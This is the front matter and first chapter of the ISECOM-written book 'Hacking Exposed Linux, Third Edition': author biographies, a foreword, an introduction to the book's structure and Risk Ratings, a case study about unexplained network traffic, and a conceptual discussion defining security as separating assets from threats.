This content was uploaded by our users and we assume good faith they have the permission to share this book. If you own the copyright to this book and it is wrongfully on our website, we offer a simple DMCA procedure to remove your content from our site. Start by pressing the button below!
A valuable extension to the Hacking Exposed franchise; the authors do a great job of incorporating the vast pool of knowledge of security testing from the team who built the Open Source Security Testing Methodology Manual (OSSTMM) into an easy-to-digest, concise read on how Linux systems can be hacked. Steven Splaine Author, The Web Testing Handbook and Testing Web Security Industry-Recognized Software Testing Expert With Pete being a pioneer of open-source security methodologies, directing ISECOM, and formulating the OPSA certification, few people are more qualified to write this book than him. Matthew Conover Principal Software Engineer Core Research Group, Symantec Research Labs You’ll feel as if you are sitting in a room with the authors as they walk you through the steps the bad guys take to attack your network and the steps you need to take to protect it. Or, as the authors put it: “Separating the asset from the threat.” Great job, guys! Michael T. Simpson, CISSP Senior Staff Analyst PACAF Information Assurance An excellent resource for security information, obviously written by those with real-world experience. The thoroughness of the information is impressive—very useful to have it presented in one place. Jack Louis Security Researcher
This page intentionally left blank
HACKING EXPOSED LINUX: LINUX SECURITY SECRETS & SOLUTIONS ™
THIRD EDITION ISECO M
New York Chicago San Francisco Lisbon London Madrid Mexico City Milan New Delhi San Juan Seoul Singapore Sydney Toronto
As Project Leader, I want to dedicate this book to all the volunteers who helped out and contributed through ISECOM to make sense of security so the rest of the world can find a little more peace. It’s the selfless hackers like them who make being a hacker such a cool thing. I also need to say that all this work would be overwhelming if not for my unbelievably supportive wife, Marta. Even my three children, Ayla, Jace, and Aidan, who can all put ISECOM on the list of their first spoken words, were all very helpful in the making of this book. —Pete Herzog
ABOUT THE AUTHORS This book was written according to the ISECOM (Institute for Security and Open Methodologies) project methodology. ISECOM is an open, nonprofit security research and certification organization established in January 2001 with the mission to make sense of security. They release security standards and methodologies under the Open Methodology License for free public and commercial use. This book was written by multiple authors, reviewers, and editors—too many to all be listed here—who collaborated to create the best Linux hacking book they could. Since no one person can master everything you may want to do in Linux, a community wrote the book on how to secure it. The following people contributed greatly and should be recognized.
About the Project Leader Pete Herzog As Managing Director, Pete is the co-founder of ISECOM and creator of the OSSTMM. At work, Pete focuses on scientific, methodical testing for controlling the quality of security and safety. He is currently managing projects in development that include security for homeowners, hacking lessons for teenagers, sourcecode static analysis, critical-thinking training for children, wireless certification exam and training for testing the operational electromagnetic spectrum, a legislator’s guide to security solutions, a Dr. Seuss–type children’s book in metered prose and rhyme, a security analysis textbook, a guide on human security, solutions for university security and safety, a guide on using security for national reform, a guide for factually calculating trust for marriage counselors and family therapists, and of course, the Open Source Security Testing Methodology Manual (OSSTMM). In addition to managing ISECOM projects, Pete teaches in the Masters for Security program at La Salle University in Barcelona and supports the worldwide security certification network of partners and trainers. He received a bachelor’s degree from Syracuse University. He currently only takes time off to travel in Europe and North America with his family.
Marta maintains the media presence of all ISECOM projects and provides technical server administration for the websites. She attended Mannheim University of Applied Sciences in Germany and graduated with a masters in computer science. In addition to running ISECOM, Marta has a strong passion for the arts, especially photography and graphic design, and her first degree is in music from the Conservatori del Liceu in Barcelona.
Rick Tucker Rick Tucker has provided ISECOM with technical writing, editing, and general support on a number of projects, including SIPES and Hacker Highschool. He currently resides in Portland, Oregon, and works for a small law firm as the goto person for all manner of mundane and perplexing issues.
About the Authors Andrea Barisani Andrea Barisani is an internationally known security researcher. His professional career began eight years ago, but it all really started with a Commodore-64 when he was ten-years-old. Now Andrea is having fun with large-scale IDS/firewall-deployment administration, forensic analysis, vulnerability assessment, penetration testing, security training, and his open-source projects. He eventually found that system and security administration are the only effective way to express his need for paranoia. Andrea is the founder and project coordinator of the oCERT effort, the Open Source CERT. He is involved in the Gentoo project as a member of the Security and Infrastructure Teams and is part of Open Source Security Testing Methodology Manual, becoming an ISECOM Core Team member. Outside the community, he is the co-founder and chief security engineer of Inverse Path, Ltd. He has been a speaker and trainer at the PacSec, CanSecWest, BlackHat, and DefCon conferences among many others.
Thomas Bader Thomas Bader works at Dreamlab Technologies, Ltd., as a trainer and solution architect. Since the early summer of 2007, he has been in charge of ISECOM courses throughout Switzerland. As an ISECOM team member, he participates in the development of the OPSE certification courses, the ISECOM test network, and the OSSTMM. From the time he first came into contact with open-source software in 1997, he has specialized in network and security technologies. Over the following years, he has worked in this field and gained a great deal of experience with different firms as a consultant and also as a technician. Since 2001, Thomas has worked as a developer and trainer of LPI training courses. Since 2006, he has worked for Dreamlab Technologies, Ltd., the official ISECOM representative for the German- and French-speaking countries of Europe.
Simon Biles Simon Biles is the director and lead consultant at Thinking Security, a UK-based InfoSec Consultancy. He is the author of The Snort Cookbook from O’Reilly, as well as other material for ISECOM, Microsoft, and SysAdmin magazine. He is in currently pursuing his masters in forensic computing at the Defence Academy in Shrivenham. He holds a CISSP, OPSA, is an ISO17799 Lead Auditor, and is also a Chartered Member of the British Computer Society. He is married with children (several) and reptiles (several). His wife is not only the most beautiful woman ever, but also incredibly patient when he says things like “I’ve just agreed to ... .” In his spare time, when that happens, he likes messing about with Land Rovers and is the proud owner of a semi-reliable, second-generation Range Rover.
Colby Clark Colby Clark is Guidance Software’s Network Security Manager and has the dayto-day responsibility for overseeing the development, implementation, and management of their information security program. He has many years of security-related experience and has a proven track record with Fortune 500 companies, law firms, financial institutions, educational institutions, telecommunications companies, and other public and private companies in regulatory compliance consulting and auditing (Sarbanes Oxley and FTC Consent Order), security consulting, business continuity, disaster recovery, incident response, and computer forensic investigations. Colby received an advanced degree in business administration from the University of Southern California, maintains the EnCE, CISSP, OPSA, and CISA certifications, and has taught advanced computer forensic and incident response techniques at the Computer and Enterprise Investigations Conference (CEIC). He is also a developer of the Open Source Security Testing Methodology Manual (OSSTMM) and has been with ISECOM since 2003.
Raoul Chiesa Raoul “Nobody” Chiesa has 22 years of experience in information security and 11 years of professional knowledge. He is the founder and president of @ Mediaservice.net Srl, an Italian-based, vendor-neutral security consulting company. Raoul is on the board of directors for the OWASP Italian Chapter, Telecom Security Task Force (TSTF.net), and the ISO International User Group. Since 2007, he has been a consultant on cybercrime issues for the UN at the United Nations Interregional Crime & Justice Research Institute (UNICRI). He authored Hacker Profile, a book which will be published in the U.S. by Taylor & Francis in late 2008. Raoul’s company was the first worldwide ISECOM partner, launching the OPST and OPSA classes back in 2003. At ISECOM, he works as Director of Communications, enhancing ISECOM evangelism all around the world.
Pablo Endres Pablo Endres is a security engineer/consultant and technical solution architect with a strong background built upon his experience at a broad spectrum of companies: wireless phone providers, VoIP solution providers, contact centers, universities, and consultancies. He started working with computers (an XT) in
the late 1980s and holds a degree in computer engineering from the Universidad Simón Bolívar at Caracas, Venezuela. Pablo has been working, researching, and playing around with Linux, Unix, and networked systems for more than a decade. Pablo would like to thank Pete for the opportunity to work on this book and with ISECOM, and last but not least, his wife and parents for all the support and time sharing.
Richard Feist Richard has been working in the computer industry since 1989 when he started as a programmer and has since moved through various roles. He has a good view of both business and IT and is one of the few people who can interact in both spaces. He recently started his own small IT security consultancy, Blue Secure. He currently holds various certifications (CISSP, Prince2 Practitioner, OPST/OPSA trainer, MCSE, and so on) in a constant attempt to stay up-to-date.
Andrea Ghirardini Andrea “Pila” Ghirardini has over seven years expertise in computer forensics analysis. The labs he leads (@PSS Labs, http://www.atpss.net) have assisted Italian and Swiss Police Special Units in more than 300 different investigations related to drug dealing, fraud, tax fraud, terrorism, weapons trafficking, murder, kidnapping, phishing, and many others. His labs are the oldest ones in Italy, continuously supported by the company team’s strong background in building CF machines and storage systems in order to handle and examine digital evidence, using both open-source-based and commercial tools. In 2007, Andrea wrote the first book ever published in Italy on computer forensics investigations and methodologies (Apogeo Editore). In this book, he also analyzed Italian laws related to these kinds of crimes. Andrea holds the third CISSP certification in Italy.
Julian “HammerJammer” Ho Julian “HammerJammer” Ho is co-founder of ThinkSECURE Pte, Ltd., (http:// securitystartshere.org), an Asia-based practical IT security certification/training authority and professional IT security services organization and an ISECOMcertified OPST trainer. Julian was responsible for design, implementation, and maintenance of security operations for StarHub’s Wireless Hotzones in Changi International Airport Terminals 1 and 2 and Suntec Convention Centre. He is one half of the design team for BlackOPS:HackAttack 2004, a security tournament held in Singapore; AIRRAID (Asia’s first-ever pure wireless hacking tournament) in 2005; and AIRRAID2 (Thailand’s first-ever public hacking tournament) in 2008. He also contributed toward research and publication of the WCCD vulnerability in 2006. Julian created and maintains the OSWA-Assistant wireless auditing toolkit, which was awarded best in the Wireless Testing category and recommended/excellent in the LiveCDs category by Security-Database.com in their “Best IT Security and Auditing Software 2007” article.
Marco Ivaldi Marco Ivaldi ([email protected]) is a computer security researcher and consultant, a software developer, and a Unix system administrator. His particular interests are networking, telephony, and cryptology. He is an ISECOM Core Team member, actively involved in the OSSTMM development process. He holds the OPST certification and is currently employed as Red Team Coordinator at @ Mediaservice.net, a leading information-security company based in Italy. His daily tasks include advanced penetration testing, ISMS deployment and auditing, vulnerability research, and exploit development. He is founder and editorial board member of Linux&C, the first Italian magazine about Linux and open source. His homepage and playground is http://www.0xdeadbeef.info. Marco wishes to thank VoIP gurus Emmanuel Gadaix of TSTF and thegrugq for their invaluable and constant support throughout the writing of this book. His work on this book is dedicated to z*.
Dru Lavigne Dru Lavigne is a network and systems administrator, IT instructor, curriculum developer, and author. She has over a decade of experience administering and teaching Netware, Microsoft, Cisco, Checkpoint, SCO, Solaris, Linux, and BSD systems. She is author of BSD Hacks and The Best of FreeBSD Basics. She is currently the editor-in-chief of the Open Source Business Resource, a free monthly publication covering open source. She is founder and current chair of the BSD Certification Group, Inc., a nonprofit organization with a mission to create the standard for certifying BSD system administrators. At ISECOM, she maintains the Open Protocol Database. Her blog can be found at http://blogs.ittoolbox.com/unix/bsd.
Stephane Lo Presti Stéphane is a research scientist who has explored the various facets of trust in computer science for the past several years. He is currently working at The City University, London, on service-oriented architectures and trust. His past jobs include the European project, Open Trusted Computing (http://www.opentc.net) at Royal Holloway, University of London, and the Trusted Software Agents and Services (T-SAS) project at the University of Southampton, UK. He enjoys applying his requirement-analysis and formal-specification computing skills to modern systems and important properties, such as trust. In 2002, he received a Ph.D. in computing science from the Grenoble Institute of Technology, France, where he also graduated as a computing engineer in 1998 from the ENSIMAG Grandes École of Computing and Applied Mathematics, Grenoble, France.
Christopher Low Christopher Low is co-founder of ThinkSECURE Pte Ltd. (http://securitystartshere .org), an Asia-based IT-security training, certification, and professional IT security services organization. Christopher has more than ten years of IT security experience and has extensive security consultancy and penetration-testing experience. Christopher is also an accomplished trainer, an ISECOM-certified
OPST trainer and has developed various practical-based security certification courses drawn from his experiences in the IT security field. He also co-designed the BlackOPS: HackAttack 2004 security tournament held in Singapore, AIRRAID (Asia’s first-ever pure wireless hacking tournament) in 2005, and AIRRAID2 (Thailand’s first-ever public hacking tournament). Christopher is also very actively involved in security research; he likes to code and created the Probemapper and MoocherHunter tools, both of which can be found in the OSWA-Assistant wireless auditing toolkit.
Ty Miller Ty Miller is Chief Technical Officer at Pure Hacking in Sydney, Australia. Ty has performed penetration tests against countless systems for large banking, government, telecommunications, and insurance organizations worldwide, and has designed and managed large security architectures for a number of Australian organizations within the Education and Airline industries. Ty presented at Blackhat USA 2008 in Las Vegas on his development of DNS Tunneling Shellcode and was also involved in the development of the CHAOS Linux distribution, which aims to be the most compact, secure openMosix cluster platform. He is a certified ISECOM OPST and OPSA instructor and contributes to the Open Source Security Testing Methodology Manual. Ty has also run web-application security courses and penetration-testing tutorials for various organizations and conferences. Ty holds a bachelors of technology in information and communication systems from Macquarie University, Australia. His interests include web-application penetration testing and shellcode development.
Armand Puccetti Armand Puccetti is a research engineer and project manager at CEA-LIST (a department of the French Nuclear Energy Agency, http://www-list.cea.fr) where he is working in the Software Safety Laboratory. He is involved in several European research projects belonging to the MEDEA+, EUCLID, ESSI, and FP6 programs. His research interests include formal methods for software and hardware description languages, semantics of programming languages, theorem provers, compilers, and event-based simulation techniques. Before moving to CEA in 2000, he was employed as a project manager at C-S (Communications & Systems, http://www.c-s.fr/), a privately owned software house. At C-S he contributed to numerous software development and applied research projects, ranging from CASE tools and compiler development to military simulation tools and methods (http://escadre.cad.etca .fr/ESCADRE) and consultancy. He graduated from INPL (http://www.inpl-nancy.fr) where he earned a Ph.D. in 1987 in the Semantics and Axiomatic Proof for the Ada Programming Language.
About the Contributing Authors Görkem Çetin Görkem Çetin has been a renowned Linux and open-source professional for more than 15 years. As a Ph.D. candidate, his current doctorate studies focus on human/computer interaction issues of free/open-source software. Görkem has authored four books on Linux and networking and written numerous articles for technical and trade magazines. He works for the National Cryptography and Technology Institute of Turkey (TUBITAK/ UEKAE) as a project manager.
Volkan Erol Volkan Erol is a researcher at the Turkish National Research Institute of Electronics and Cryptology (TUBITAK-NRIEC). After receiving his bachelor of science degree in computer engineering from Galatasaray University Engineering and Technology Faculty, Volkan continued his studies in the Computer Science, Master of Science program, at Istanbul Technical University. He worked as software engineer at the Turkcell ShubuoTurtle project and has participated in TUBITAK-NRIEC since November 2005. He works as a full-time researcher in the Open Trusted Computing project. His research areas are Trusted Computing, applied cryptography, software development, and design and image processing.
Chris Griffin Chris Griffin has nine years of experience in information security. Chris obtained the OPST, OPSA, CISSP, and CNDA certifications and is an active contributor to ISECOM’s OSSTMM. Chris has most recently become ISECOM’s Trainer for the USA. He wants to thank Pete for this opportunity and his wife and kids for their patience.
Fredesvinda Insa Mérida Fredesvinda Insa Mérida is the Strategic Development Manager of Cybex. Dr. Insa graduated in law from the University of Barcelona (1994–1998). She also holds a Ph.D. in information sciences and communications, from the University Complutense of Madrid. Dr. Insa has represented Cybex in several computer-forensics and electronic-evidence meetings. She has a great deal of experience in fighting against computer-related crimes. Within Cybex, she provides legal assistance to the computer forensics experts.
About the Editors and Reviewers Chuck Truett Chuck Truett is a writer, editor, SAS programmer, and data analyst. In addition to his work with ISECOM, he has written fiction and nonfiction for audiences ranging from children to role-playing gamers.
Adrien de Beaupré Adrien de Beaupré is practice lead at Bell Canada. He holds the following certifications: GPEN, GCIH, GSEC, CISSP, OPSA, and OPST. Adrien is very active with isc.sans.org. He is an ISECOM OSSTMM-certified instructor. His areas of expertise include vulnerability assessments, penetration testing, incident response, and digital forensics.
Mike Hawkins Michael Hawkins, CISSP, has over ten years experience in the computer industry, the majority of time spent at Fortune 500 companies. He is currently the Manager of Networks and Security at the loudspeaker company Klipsch. He has been a full-time security professional for over five years.
Matías Bevilacqua Trabado Matías Bevilacqua Trabado graduated in computer engineering from the University of Barcelona and currently works for Cybex as IT Manager. From a security background, Matías specializes in computer forensics and the admissibility of electronic evidence. He designed and ran the first private forensic laboratory in Spain and is currently leading research and development at Cybex.
Patrick Boucher Patrick Boucher is a senior security consultant for Gardien Virtuel. Patrick has many years of experience with ethical hacking, security policy, and strategic planning like disaster recovery and continuity planning. His clients include many Fortune 500 companies, financial institutions, telecommunications companies, and SME enterprises throughout Canada. Patrick has obtained CISSP and CISA certifications
y fascination with security began at an early age. In my youth, I was fortunate to have a father who attended a Ph.D. program at a major university. While he was researching, I had access to the various systems there (a Vax 11/780, in addition to others). During those years in the lab, I also had a Commodore 64 personal computer, a 300-bps modem, and access to a magically UUCP-interconnected world. One of the first hacks I successfully pulled off was to write a login script that simulated an unsuccessful login while writing the username and password entered by the victim to a file. This hack allowed me to log in to the system at will without my father’s supervision. That experience, and the others that followed, taught me a lot about ineffective security controls. This served as a catalyst for my quest to know more. In 1992, I began working as a systems administrator for a small engineering firm. Under my control were about 30 workstations, a dial-in BBS with a UUCP Internet email feed, SCO Unix servers, and a Novell Netware server. A short time later, I was tasked with getting the company shared access to the Internet. This is when I learned about Linux and the sharing capability of IP Masquerading. Over the next several years, Linux became a core focus of mine, and I used it in a variety of projects, including replacing the Novel and SCO servers. During this period, most IT shops were very happy simply to keep the systems functioning. Any security controls were assumed to be beneficial, yet there was no standardized way to measure success. This was a decisively dark period for security in the private sector, with security being very much an opinion-based art form. Later in life, while working as a consultant, I was tasked with putting together an information security testing program. I had attended SANS classes, read the available “Hacking” books, had access to all the right tools, yet still felt like there had to be more. After searching the Internet for a methodical approach to security testing, I was really pleased to run into one of the first revisions of the Open Source Security Testing Methodology Manual. The community aspect of the project resonated with me; the OSSTMM allows professional security testers to contribute to a thorough, repeatable, methodical testing guide. This approach to security testing was proven through hands-on experience to be vastly superior to the random poking and prodding we had previously performed under
Hacking Exposed Linux: Linux Security Secrets & Solutions
the vague title of “penetration testing.” No longer would I be satisfied with the “Security is an Art, not a Science” mantra. As a member of ISECOM’s board of directors, I am privileged to watch the development of all of our key projects. ISECOM’s shared passion, commitment to excellence, and dedication to understanding the broad topics we cover drives all of the contributors forward. You now hold in your hands the fruits of their labor as applied specifically to Linux security. I hope you enjoy reading this book as much as the team has enjoyed putting it together for you. If you would like to join the ISECOM team, or contribute to any of our projects, please contact us through the form at http://www.isecom.org. Sincerely, Robert E. Lee Chief Security Officer Outpost24 AB Robert E. Lee is Chief Security Officer for Outpost24 AB. Outpost24 is a leading provider of proactive network security solutions. Outpost24’s solutions provide fully automated network vulnerability scanning, easily interpreted reports, and vulnerability management tools. Outpost24’s solutions can be deployed in a matter of hours, anywhere in the world, providing customers with an immediate view of their security and compliance posture. OUTSCAN is the most widely deployed on-demand security solution in Europe, performing scans for over 1000 customers last year.
ACKNOWLEDGMENTS S
pecial thanks to Jonathan Bokovza, Šarunas Grigaliunas, and Harald Welte for their timely assistance when a little help was required. Also special thanks to Jane Brownlow, Jennifer Housh, and LeeAnn Pickrell.
NU-Linux is the ultimate hacker’s playground. It’s a toy for the imagination, not unlike a box of blocks or a bag of clay. Whether someone is an artist or a scientist, the possibilities are endless. Anything that you want to try to do and build and make with a computer is subject only to your creativity. This is why so many people are interested in Linux. Many call it Linux instead of GNU-Linux, its full name—much the same way you’d call a friend by a nickname. Perhaps this is due to the intimacy that you can achieve with this operating system through its source code. Or from the experience of being part of a special community. Whatever it is though, everyone can benefit from communicating with a machine that is honestly attributable to the transparency and openness of Linux. Although not the dominant operating system on the Internet, Linux is quite prevalent, considering that the overwhelming majority of servers running web services, email services, and name services all depend on other open-source code that works with Linux. And this is where the trouble begins. Can something so open be properly secured? The difficulty begins when you need secure it. How do you secure something like this, with its collectively designed hosting components that are built, rebuilt, and reconfigured by whim and can differ from machine to machine? You will seldom find two identical systems. How then can you approach the possibility of providing security for all of them? This edition of Hacking Exposed Linux is based on the work of ISECOM, an open security research organization with the mission to “Make sense of security.” ISECOM has thousands of members worldwide and provides extensive methodologies and frameworks in regards to security, safety, and privacy. ISECOM uses open collaboration and extensive peer review to obtain the highest possible quality research—which is also how this edition was developed. Many security enthusiasts and professionals collaborated to create a book that is factual, practical, and really captures the spirit of Linux. Only in this way can you expect to find the means of securing Linux in all of its many forms.
Hacking Exposed Linux: Linux Security Secrets & Solutions
HOW THIS BOOK IS ORGANIZED This book is meant to be practical; you won’t just learn how to run an exploit or two that will be patched by the time you finish reading about it. The knowledge and the tools to do all the hacking is in the book; however, instead of specific exploits, we cover types of threats. This way even if an exploit is patched, the knowledge as to how the exploit could work, how a security control can be circumvented, and how an interaction such as trust can be abused will still help you analyze potential problems. By not securing against specific threats or exploits, you are much more capable of testing for and applying security that will cover potential, though yet unknown, threats. Structurally, this book follows the five channels identified in the Open Source Security Testing Methodology Manual (OSSTMM) for security interactions: physical, telecommunications, data networking, human, and wireless. The first three chapters explain how security and controls work according to the latest ISECOM research and set the stage for understanding how to analyze security. Then the book follows the logical separation of the most common uses of Linux to create a compendium of security knowledge—no matter what you want to do with your Linux system. It is possible to read the book straight through and absorb all the information like a sponge if you can. Or you can hop from chapter to chapter depending on what areas you are concerned about securing on your specific Linux system. Maybe you want to try testing wireless access points, VoIP, or telecommunications? Just jump to the appropriate chapter. Or even if you simply want to make sure your desktop applications don’t get the best of your Linux system through phishing, SPAM, and rootkits, we cover user attacks as part of the human security channel. Then, again, you could always just browse through the book at your leisure.
What’s New in This Edition? Unlike many other books that release edition updates, this particular one has been completely rewritten to assure a best fit to the ISECOM mission of making sense of security. All the material is completely new, based upon the most recent and thorough security research. The hacking and countermeasures are based on the OSSTMM, the security testing standard, and we made sure that we covered all known attacks on Linux as well as how to prepare the system to repel the unknown attacks.
IMPROVED METHODOLOGY One of the benefits of using the OSSTMM as a guideline for this book is having a proven security testing methodology at its core. In a book with an attack and defend style, the security methodology assures that the right tests are done to achieve a personalized kind of protection. This is necessary when test targets are customized and stochastic in nature, like with the variety of Linux system types and applications out there. Having a solid methodology also means having a strong classification system. This book no longer attempts to focus on single exploits but rather classes of exploits. Exploit
Introduction
information and exploit code are available from so many sources, both commercially and free. Matching a system, application, or service to an exploit is a straightforward task. Therefore, securing against an exploit only requires knowing the exploit exists and how it works to create a patch. This is generally done by the vendors and developers. However securing against all exploits of that class may not be so straightforward as installing a patch. Furthermore, not everything can be patched as some applications will take advantage of specific versions of the system or other applications to function correctly. It is then more pragmatic to protect against the class of threat rather than one instance of it. This is also a form of future-proofing what is still unknown.
References and Further Reading This book references OSSTMM 3.0. You can find the OSSTMM at http://www.osstmm.org and additional and subsequent projects at the main site http://www.isecom.org. For help with the concepts covered in this book, ISECOM provides certification exams for professionals and the means for certifying systems and businesses according to the OSSTMM. Training for these exams as well as audits are available through the official ISECOM partners listed on our website. Official ISECOM Training Partners and Licensed Auditors have achieved their status through rigorous training and quality assurance programs so they are a great security reference for you.
THE BASIC BUILDING BLOCKS: ATTACKS AND COUNTERMEASURES Like the previous editions, this edition incorporates the familiar usability of icons, formatting, and the Risk Ratings. For those who do not like the Risk Rating or feel it is too general or biased, keep in mind that risk itself is biased and uses numbers to support a feeling rather than to confirm an hypothesis. And although there are better ways to validate the threats and vulnerabilities used to calculate risk, there is no better way to reduce it for presentation than with the Risk Rating table. Therefore, accept the Risk Ratings with some margin of error as they are more representative than deterministic, much like a representative in a republic is not an absolute mirror of all the people being represented. As with the entire Hacking Exposed series, the basic building blocks of this book are the attacks and countermeasures discussed in each chapter. The attacks are highlighted here as they are throughout the Hacking Exposed series.
This Is an Attack Icon Highlighting attacks like this makes it easy to identify specific penetration-testing tools and methodologies and points you right to the information you need to convince management to fund your new security initiative. Each attack is also accompanied by a Risk Rating, scored exactly as in Hacking Exposed.
xxxi
xxxii
Hacking Exposed Linux: Linux Security Secrets & Solutions
Popularity:
The frequency of use in the wild against live targets, 1 being most rare, 10 being widely used.
Simplicity:
The degree of skill necessary to execute the attack, 10 being little or no skill, 1 being seasoned security programmer.
Impact:
The potential damage caused by successful execution of the attack, 1 being revelation of trivial information about the target, 10 being superuser account compromise or equivalent.
Risk Rating:
The preceding three values are averaged to give the overall risk rating and rounded to the next highest whole number.
This Is a Countermeasure Icon So you can get right to fixing the exploits we discuss.
Other Visual Aids
icons to highlight those nagging little details that often get overlooked.
BASED ON VALID SECURITY RESEARCH Part of the problem in security is how the term itself is defined. The word is used both casually and professionally in the same way. Rarely is this case in other hard sciences. Friends might say you seemed depressed, which might mean you seem sad or down, but if a clinical psychologist tells you the same thing, you may need to go on medication. It is the same with security. Security can refer to anything from the bouncer at a local club to a gun. Unfortunately, there is as little consensus on the professional definition. Defining the words used is important to avoid confusion—which is why the definitions from the OSSTMM are applied throughout.
Introduction
A FINAL WORD TO OUR READERS Getting a couple dozen authors and reviewers to collaborate is always difficult, but the end result is very powerful. If you are interested in contributing to future versions or in other ISECOM projects like the OSSTMM, Hacker Highschool, or the National Security Methodology, contact us at ISECOM.
CASE STUDY Although Simon was a hardcore Linux fan, his place of employment wasn’t exactly “contaminated” with Linux, as the IT sales reps referred to that operating system. In truth, he was the only one in a company of over one thousand employees who ran it on his desktop system. And the only reason he could get away with it was because it made him better at his job. It also helped him maintain a little bit of control over the infrastructure. One day Simon noticed network traffic attempting to contact services on his system. This was not so odd in itself since it appeared to be NetBIOS connections and the occasional NetBIOS storm—that little network problem where several badly configured Windows machines continually announce themselves and respond to each announcement, growing multiplicatively until they reach maximum network density and choke themselves off—was not a rare occurrence. But these packets did not seem to be typical NetBIOS greetings; they were looking only for shares, and they seemed to be coming from only a few IP addresses. He fired up Wireshark to take a closer look at the packets. He didn’t know what he was looking for, but he did know that with the company’s dynamic IP addressing inhouse, he could not easily figure out which computer was making these requests. Even the NetBIOS name of the sending computer was a generic one. Unfortunately, the packet information told him nothing. So he left Wireshark running and logged the data only from those sending IP addresses for whatever they sent across the network. After a few minutes, he found some data from one of the packets inside the buffer referring to hiring personnel, which made him think the offending systems might be in the Human Resources department. Moments later, however, he grabbed an email going out from one of the IP addresses he had been watching. Now he had a name: John Alexander. Simon went straight to the CIO with his information. He didn’t know if the storm was due to malicious intent or some new kind of worm, but he knew it had to be stopped. However, the CIO wasn’t so quick to judge. The person in question was not a low-level employee; he was a mid-level manager who ran the credit department. And with the potential confidential records stored on his computer, demanding an audit would be no small feat. Furthermore, the CIO had his doubts that this was actually a problem since his system had not registered any strange activity. Simon tried to explain how the CIO’s Windows system had not been designed to question such connections and had probably just processed them like any other request. Therefore, he wouldn’t have seen anything suspicious. When Simon asked how he should proceed, the CIO instructed him to monitor the activity, concluding that with the amount of money they spent on antivirus and antimalware licenses, the next daily automatic database update of those programs would clearly kill the infection if it was indeed malware. The whole problem would go away. Simon suggested that it might not be malware. It might be a deliberate attack from hackers who had gained entry into an internal system or John Alexander himself might be doing some hacking. The CIO considered the idea for a moment but could not see Simon’s suspicion as being reasonable. After all, as he explained to Simon, the company
4
had spent a great deal of money on security. Simon suggested otherwise. He explained that the company had spent a great deal of money on a few specific controls but almost nothing on security. The CIO dismissed Simon, reminding him that he was an administrator, not a security expert, and that the reason they bought security solutions from the experts was so they didn’t need to hire them. Simon could do no more than simply watch the packets swim through the network as valid traffic with invalid intentions. Months later, when John Alexander was promoted to a foreign office, the mysterious traffic suddenly stopped.
5
6
Hacking Exposed Linux: Linux Security Secrets & Solutions
T
he biggest problem people have with securing anything is the very narrow scope they use in determining what to secure and how to secure it. Maybe this is because people don’t fully understand what security is, but most likely it’s because security is such a loaded word that it can mean far too many things. Dictionary definitions alone do not help. Most of them call security the means of being free from risk. Well, that’s fine for soccer moms and minivan dads trying to up their security satisfaction, but it doesn’t really help a professional design a secure system. The fully established professions, like the legal or medical professions that require a culture of academic and skill-based refinement to achieve a licensed, professional standing, place great emphasis on definitions. For example, if a person says he or she is depressed, it means something magnitudes different than what a clinical psychiatrist means by it. Generally, people separate the two terms in day-to-day conversation by saying “clinically depressed” when they mean the disease of depression. However, there is no such term as “clinically secure” or even “professionally secure.”
FREE FROM RISK Security research requires specific definitions to assure that meaning is properly conveyed. The development of the Open Source Security Testing Methodology Manual (OSSTMM) required hundreds of researchers and thousands of reviewers working together to create a significant piece of work. The first major hurdle to overcome was agreeing on common definitions for terms. The word protection became the common synonym for security since it had fewer outside connotations. However, the idea that security meant freedom from risk stuck with the developers of the project and, in effect, tainted the research. Early versions of the OSSTMM, through version 2.X, used common definitions; however, early versions also focused on risk. Researchers disagreed about these definitions while developing those early versions. A security standard has no room for disagreement. People expect a security standard to be black and white. It needs to be correct and factual. To do that, it needs to avoid the concept of risk. Risk is biased. People accept risk at varying rates. Furthermore, the dictionary definition of security being “freedom from risk” is an impossibility since even our own cells may conspire against us. Therefore, “freedom from risk” is not something that can be effectively or realistically used to understand security, let alone to measure it. The researchers realized that the concept of risk could not be in the OSSTMM. The OSSTMM researchers determined that security in its simplest form is not about risk, but about protection. This is why they referred to protection when discussing security. They concluded that security could be best modeled as the “separation of an asset from a threat.” This theme has become universal when discussing security whether it be Internet fraud, petty larceny, or creating a retirement fund. In each case, security
Chapter 1:
Applying Security
separates the asset from the threat. Not surprisingly, the best defense from any threat is to avoid it, by either being far removed from it or having it removed. Security is the separation of an asset from a threat.
Security as practiced by the military generally means destroying the threat. A nonfunctioning threat is no longer a threat. So to separate the threat from the asset, you have three options: • Physically remove or separate the asset from the threat. • Destroy the threat. • Move or destroy the asset. In practical terms, destroying the asset is undesirable and destroying the threat is often too complicated or illegal. However, separating the two is normally achievable.
THE FOUR COMPREHENSIVE CONSTRAINTS People from the school of risk management may have trouble with accepting security as being something as simple as a partition. For them, these partitions are an ephemeral creation from the union of probability and acceptable risk. The argument is that a partition of paper that separates the asset from the threat is as good as no security at all. Additionally, for risk managers, any wall is a construct breakable by time and chance. For them, the break could just as easily come from inside the wall. The threat could also change, evolve, or grow more powerful. That explains why risk managers approach security using game theory. Risk managers have a valid point. For this reason, it is necessary to understand applied security according to the following comprehensive constraints: channel, vector, index, and scope. With these four constraints, you can guage what is secure. Since security implies all threats, you don’t need to indicate secure “from what”—if a constraint exists, it is classified automatically as a limitation, which is defined as a failure. This is why a paper wall can be called security yet be so limited as to make it mostly worthless as a security measure. Of the four comprehensive constraints, only scope is the logical one. Channel, vector, and index are physical constraints, meaning they are “things.” The scope is the collective areas for which security needs to be applied. For example, the scope of a typical Linux mail server will include security for the box itself, keyboard access, remote access, remote interaction with the SMTP service, remote interaction with DNS, physical protection from the elements, continuous access to electricity, and network connectivity to at least one router that will receive and pass the e-mail packets. Therefore, the physical scope of a simple server can be very large and cover great distances. The channel is the mode of the attack. The interaction of an attack with its target is physical and happens over or through these channels. In the OSSTMM, channels are divided into five categories: physical (can be seen and touched), wireless (within the
7
8
Hacking Exposed Linux: Linux Security Secrets & Solutions
known electromagnetic spectrum), human (within the range of human thought and emotion), telecommunications (analog communication), and data networks (packet communication). These channels overlap and many current technologies combine them into one interactive experience. For example, the simple Linux mail server will generally be attacked over human (phishing), physical (theft), and data network (mail relay attacks) channels. The vector is the direction from which the attack comes. Security needs to be designed according to the attack vector. If no separation exists for a particular vector, then that vector is not secure. A typical Linux mail server has three interaction vectors: It receives interactions physically from the room, over data networks from the local network, and again from the Internet. The index is the manner of quantifying the target objects in the scope so that each can be uniquely identified. In a secured scope, these target objects will be either assets or gateways to assets. A Linux mail server is a target that can be indexed physically by asset tag or over a data network by MAC address or IP address, assuming all three are unique for its interactive vector.
